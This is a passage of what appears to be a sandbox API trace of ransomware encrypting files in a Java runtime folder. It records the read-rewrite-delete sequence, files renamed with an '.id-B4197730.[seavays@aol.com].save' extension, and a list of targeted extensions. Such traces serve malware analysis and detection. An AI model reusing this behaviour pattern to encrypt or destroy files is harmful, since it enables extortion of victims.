files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.948] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0169.948] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.948] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.948] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0169.953] GetLastError () returned 0x0 [0169.953] ReadFile (in: hFile=0x518, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xb28, lpOverlapped=0x0) returned 1 [0169.955] WriteFile (in: hFile=0x510, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xb30, lpOverlapped=0x0) returned 1 [0169.956] ReadFile (in: hFile=0x518, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.957] WriteFile (in: hFile=0x510, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10a, lpOverlapped=0x0) returned 1 [0169.957] SetEndOfFile (hFile=0x510) returned 1 [0169.957] CloseHandle (hObject=0x510) returned 1 [0169.957] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.957] SetEndOfFile (hFile=0x518) returned 1 [0169.960] CloseHandle (hObject=0x518) returned 1 [0169.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0169.961] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1 [0169.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0169.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0169.962] lstrlenW (lpString=".doc") returned 4 [0169.962] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0169.962] lstrlenW (lpString=".docx") returned 5 [0169.962] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0169.962] lstrlenW (lpString=".pdf") returned 4 [0169.962] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0169.962] lstrlenW (lpString=".xls") returned 4 [0169.962] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0169.962] lstrlenW (lpString=".xlsx") returned 5 [0169.962] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0169.962] lstrlenW (lpString=".ppt") returned 4 [0169.962] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0169.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0169.962] lstrlenW (lpString=".zip") returned 4 [0169.962] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0169.962] lstrlenW (lpString=".rar") returned 4 [0169.962] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0169.962] lstrlenW (lpString=".bz2") returned 4 [0169.962] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0169.962] lstrlenW (lpString=".7z") returned 3 [0169.962] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0169.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0169.963] lstrlenW (lpString=".dbf") returned 4 [0169.963] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0169.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0169.963] lstrlenW (lpString=".1cd") returned 4 [0169.963] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0169.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0169.963] lstrlenW (lpString=".jpg") returned 4 [0169.963] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0169.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0169.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0169.963] lstrlenW (lpString=".doc") returned 4 [0169.963] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0169.963] lstrlenW (lpString=".docx") returned 5 [0169.963] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0169.963] lstrlenW (lpString=".pdf") returned 4 [0169.963] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0169.963] lstrlenW (lpString=".xls") returned 4 [0169.963] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0169.963] lstrlenW (lpString=".xlsx") returned 5 [0169.963] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0169.963] lstrlenW (lpString=".ppt") returned 4 [0169.963] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0169.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0169.963] lstrlenW (lpString=".zip") returned 4 [0169.963] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0169.963] lstrlenW (lpString=".rar") returned 4 [0169.964] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0169.964] lstrlenW (lpString=".bz2") returned 4 [0169.964] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0169.964] lstrlenW (lpString=".7z") returned 3 [0169.964] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0169.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0169.964] lstrlenW (lpString=".dbf") returned 4 [0169.964] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0169.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0169.964] lstrlenW (lpString=".1cd") returned 4 [0169.964] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0169.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0169.964] lstrlenW (lpString=".jpg") returned 4 [0169.964] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0169.964] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0169.964] lstrlenW (lpString="management.properties") returned 21 [0169.964] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0169.965] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=14630) returned 1 [0169.965] CloseHandle (hObject=0x518) returned 1 [0169.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0169.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.966] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0169.966] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.966] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.966] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0169.967] GetLastError () returned 0x0 [0169.967] ReadFile (in: hFile=0x518, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x3926, lpOverlapped=0x0) returned 1 [0169.969] WriteFile (in: hFile=0x510, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x3930, lpOverlapped=0x0) returned 1 [0169.971] ReadFile (in: hFile=0x518, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.971] WriteFile (in: hFile=0x510, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xfe, lpOverlapped=0x0) returned 1 [0169.971] SetEndOfFile (hFile=0x510) returned 1 [0169.971] CloseHandle (hObject=0x510) returned 1 [0169.971] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.971] SetEndOfFile (hFile=0x518) returned 1 [0169.975] CloseHandle (hObject=0x518) returned 1 [0169.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0169.975] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1 [0169.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0169.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0169.976] lstrlenW (lpString=".doc") returned 4 [0169.976] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0169.976] lstrlenW (lpString=".docx") returned 5 [0169.976] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0169.976] lstrlenW (lpString=".pdf") returned 4 [0169.976] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0169.976] lstrlenW (lpString=".xls") returned 4 [0169.976] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0169.976] lstrlenW (lpString=".xlsx") returned 5 [0169.976] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0169.976] lstrlenW (lpString=".ppt") returned 4 [0169.977] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0169.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0169.977] lstrlenW (lpString=".zip") returned 4 [0169.977] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0169.977] lstrlenW (lpString=".rar") returned 4 [0169.977] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0169.977] lstrlenW (lpString=".bz2") returned 4 [0169.977] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0169.977] lstrlenW (lpString=".7z") returned 3 [0169.977] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0169.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0169.977] lstrlenW (lpString=".dbf") returned 4 [0169.977] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0169.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0169.977] lstrlenW (lpString=".1cd") returned 4 [0169.977] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0169.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0169.977] lstrlenW (lpString=".jpg") returned 4 [0169.977] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0169.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0169.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0169.977] lstrlenW (lpString=".doc") returned 4 [0169.977] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0169.977] lstrlenW (lpString=".docx") returned 5 [0169.977] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0169.977] lstrlenW (lpString=".pdf") returned 4 [0169.978] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0169.978] lstrlenW (lpString=".xls") returned 4 [0169.978] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0169.978] lstrlenW (lpString=".xlsx") returned 5 [0169.978] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0169.978] lstrlenW (lpString=".ppt") returned 4 [0169.978] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0169.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0169.978] lstrlenW (lpString=".zip") returned 4 [0169.978] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0169.978] lstrlenW (lpString=".rar") returned 4 [0169.978] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0169.978] lstrlenW (lpString=".bz2") returned 4 [0169.978] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0169.978] lstrlenW (lpString=".7z") returned 3 [0169.978] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0169.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0169.978] lstrlenW (lpString=".dbf") returned 4 [0169.978] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0169.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0169.978] lstrlenW (lpString=".1cd") returned 4 [0169.978] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0169.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0169.978] lstrlenW (lpString=".jpg") returned 4 [0169.978] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0169.979] lstrcmpiW (lpString1=".template", lpString2=".save") returned 1 [0169.979] lstrlenW (lpString="snmp.acl.template") returned 17 [0169.979] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.235] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=3376) returned 1 [0170.235] CloseHandle (hObject=0x538) returned 1 [0170.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0170.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.236] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.236] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.237] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.237] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0170.237] GetLastError () returned 0x0 [0170.237] ReadFile (in: hFile=0x538, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xd30, lpOverlapped=0x0) returned 1 [0170.239] WriteFile (in: hFile=0x53c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xd40, lpOverlapped=0x0) returned 1 [0170.240] ReadFile (in: hFile=0x538, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.240] WriteFile (in: hFile=0x53c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xf6, lpOverlapped=0x0) returned 1 [0170.240] SetEndOfFile (hFile=0x53c) returned 1 [0170.240] CloseHandle (hObject=0x53c) returned 1 [0170.240] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.240] SetEndOfFile (hFile=0x538) returned 1 [0170.243] CloseHandle (hObject=0x538) returned 1 [0170.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.243] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1 [0170.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0170.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0170.244] lstrlenW (lpString=".doc") returned 4 [0170.244] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0170.244] lstrlenW (lpString=".docx") returned 5 [0170.244] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0170.244] lstrlenW (lpString=".pdf") returned 4 [0170.244] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0170.244] lstrlenW (lpString=".xls") returned 4 [0170.244] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0170.244] lstrlenW (lpString=".xlsx") returned 5 [0170.244] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0170.244] lstrlenW (lpString=".ppt") returned 4 [0170.244] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0170.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0170.244] lstrlenW (lpString=".zip") returned 4 [0170.244] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0170.244] lstrlenW (lpString=".rar") returned 4 [0170.244] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0170.244] lstrlenW (lpString=".bz2") returned 4 [0170.244] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0170.244] lstrlenW (lpString=".7z") returned 3 [0170.244] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0170.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0170.245] lstrlenW (lpString=".dbf") returned 4 [0170.245] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0170.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0170.245] lstrlenW (lpString=".1cd") returned 4 [0170.245] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0170.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0170.245] lstrlenW (lpString=".jpg") returned 4 [0170.245] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0170.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0170.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0170.245] lstrlenW (lpString=".doc") returned 4 [0170.245] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0170.245] lstrlenW (lpString=".docx") returned 5 [0170.245] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0170.245] lstrlenW (lpString=".pdf") returned 4 [0170.245] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0170.245] lstrlenW (lpString=".xls") returned 4 [0170.245] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0170.245] lstrlenW (lpString=".xlsx") returned 5 [0170.245] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0170.245] lstrlenW (lpString=".ppt") returned 4 [0170.245] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0170.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0170.245] lstrlenW (lpString=".zip") returned 4 [0170.245] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0170.245] lstrlenW (lpString=".rar") returned 4 [0170.245] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0170.245] lstrlenW (lpString=".bz2") returned 4 [0170.245] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0170.245] lstrlenW (lpString=".7z") returned 3 [0170.246] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0170.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0170.246] lstrlenW (lpString=".dbf") returned 4 [0170.246] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0170.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0170.246] lstrlenW (lpString=".1cd") returned 4 [0170.246] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0170.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0170.246] lstrlenW (lpString=".jpg") returned 4 [0170.246] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0170.246] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0170.246] lstrlenW (lpString="net.properties") returned 14 [0170.246] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.247] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=4464) returned 1 [0170.247] CloseHandle (hObject=0x538) returned 1 [0170.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0170.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.247] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.248] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.248] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.248] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0170.248] GetLastError () returned 0x0 [0170.248] ReadFile (in: hFile=0x538, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x1170, lpOverlapped=0x0) returned 1 [0170.250] WriteFile (in: hFile=0x53c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x1180, lpOverlapped=0x0) returned 1 [0170.251] ReadFile (in: hFile=0x538, 